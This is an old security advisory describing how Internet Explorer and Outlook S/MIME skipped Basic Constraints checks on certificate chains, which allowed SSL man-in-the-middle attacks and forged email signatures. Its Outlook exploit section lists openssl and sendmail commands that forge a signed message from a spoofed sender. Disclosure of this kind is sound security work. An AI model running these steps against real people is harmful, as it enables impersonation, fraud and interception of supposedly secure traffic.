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COMMAND IE SSL man in the middle attack SYSTEMS AFFECTED IE 5 and 5.5 are vulnerable straight-up, and IE 6 is mostly vulnerable. Outlook S/MIME (tested with Outlook Express 5 w2k/SP3) PROBLEM Mike Benham [moxie@thoughtcrime.org] of thoughtcrime [http://www.thoughtcrime.org] found : Internet Explorer's implementation of SSL contains a vulnerability that allows for an active, undetected, man in the middle attack. No dialogs are shown, no warnings are given. Description =========== In the normal case, the administrator of a web site might wish to provide secure communication via SSL. To do so, the administrator generates a certificate and has it signed by a Certificate Authority. The generated certificate should list the URL of the secure web site in the Common Name field of the Distinguished Name section. The CA verifies that the administrator legitimately owns the URL in the CN field, signs the certificate, and gives it back. Assuming the administrator is trying to secure www.thoughtcrime.org, we now have the following certificate structure: [CERT - Issuer: VeriSign / Subject: VeriSign] -> [CERT - Issuer: VeriSign / Subject: www.thoughtcrime.org] When a web browser receives this, it should verify that the CN field matches the domain it just connected to, and that it's signed using a known CA certificate. No man in the middle attack is possible because it should not be possible to substitute a certificate with a valid CN and a valid signature. However, there is a slightly more complicated scenario. Sometimes it is convenient to delegate signing authority to more localized authorities. In this case, the administrator of www.thoughtcrime.org would get a chain of certificates from the localized authority: [Issuer: VeriSign / Subject: VeriSign] -> [Issuer: VeriSign / Subject: Intermediate CA] -> [Issuer: Intermediate CA / Subject: www.thoughtcrime.org] When a web browser receives this, it should verify that the CN field of the leaf certificate matches the domain it just connected to, that it's signed by the intermediate CA, and that the intermediate CA is signed by a known CA certificate. Finally, the web browser should also check that all intermediate certificates have valid CA Basic Constraints. You guessed it, Internet Explorer does not check the Basic Constraints. Exploit ======= So what does this mean? This means that as far as IE is concerned, anyone with a valid CA-signed certificate for ANY domain can generate a valid CA-signed certificate for ANY OTHER domain. As the unscrupulous administrator of www.thoughtcrime.org, I can generate a valid certificate and request a signature from VeriSign: [CERT - Issuer: VeriSign / Subject: VeriSign] -> [CERT - Issuer: VeriSign / Subject: www.thoughtcrime.org] Then I generate a certificate for any domain I want, and sign it using my run-of-the-mill joe-blow CA-signed certificate: [CERT - Issuer: VeriSign / Subject: VeriSign] -> [CERT - Issuer: VeriSign / Subject: www.thoughtcrime.org] -> [CERT - Issuer: www.thoughtcrime.org / Subject: www.amazon.com] Since IE doesn't check the Basic Constraints on the www.thoughtcrime.org certificate, it accepts this certificate chain as valid for www.amazon.com. Anyone with any CA-signed certificate (and the corresponding private key) can spoof anyone else. Severity ======== I would consider this to be incredibly severe. Any of the standard connection hijacking techniques can be combined with this vulnerability to produce a successful man in the middle attack. Since all you need is one constant CA-signed certificate (and the corresponding private key), an attacker can use that to generate spoofed certificates for other domains as connections are intercepted (on the fly). Since no warnings are given and no dialogs are shown, the attacker has effectively circumvented all security that an SSL certificate provides. There is some level of accountability, though, since a user who randomly chooses to view the certificate of the web site she's visiting will see the attacker's certificate in the chain. However, by that point the damage has already been done. All "secure" data has already been transmitted. Update (13 August 2002) ====== Proof of concept code to perform described hijacking is available at : http://www.thoughtcrime.org/ie.html Update (03 September 2002) ====== Mike Benham adds : Outlook's S/MIME implementation is vulnerable to the certificate chain spoofing attack, despite Microsoft's claim that IE is the only affected application. The vulnerability allows anyone to forge the digital signature on an email that is to be viewed with Outlook. No warnings are given, no dialogs are shown. For a complete description of the certificate chain attack, see: http://online.securityfocus.com/archive/1/286290 As with the IE SSL vulnerability, an attacker generates a bad certificate chain: [Issuer:VeriSign | Subject:VeriSign] >[Issuer:VeriSign | Subject:www.thoughtcrime.org] >[Issuer:www.thoughtcrime.org | Subject:Bill Gates/billgates@microsoft.com] Outlook fails to check the Basic Constraints on the intermediate certificate and accepts the leaf certificate as valid. Exploit ======= 1) Put a valid CA-signed certificate and private key in a file "middle.pem" (If you don't have a valid CA-signed certificate, there's one bundled with sslsniff: http://www.thoughtcrime.org/ie.html) 2) Generate a fake leaf certificate signing request: a) openssl genrsa -out key.pem 1024 b) openssl req -new -key key.pem -out leaf.csr 3) Sign the CSR with your "intermediate" certificate: a) openssl x509 -req -in leaf.csr -CA middle.pem -CAkey middle.pem -CAcreateserial -out leaf.pem 4) Sign a spoofed mail message: a) openssl smime -sign -in mail.txt -text -out mail.msg -signer leaf.pem -inkey key.pem -certfile middle.pem -from billgates@microsoft.com -to whomever@wherever.com -subject "SM Exploit" 5) Send the mail: a) cat mail.msg | sendmail whomever@wherever.com SOLUTION When the CA Basic Constraint on the middle certificate is explicitly set to false and marked as critical, IE 6 does not follow the chain. When it's not mentioned at all, IE 6 follows the chain and is vulnerable. This just means that an attacker needs to use a VeriSign-issued certificate to exploit IE 6. Nothing yet.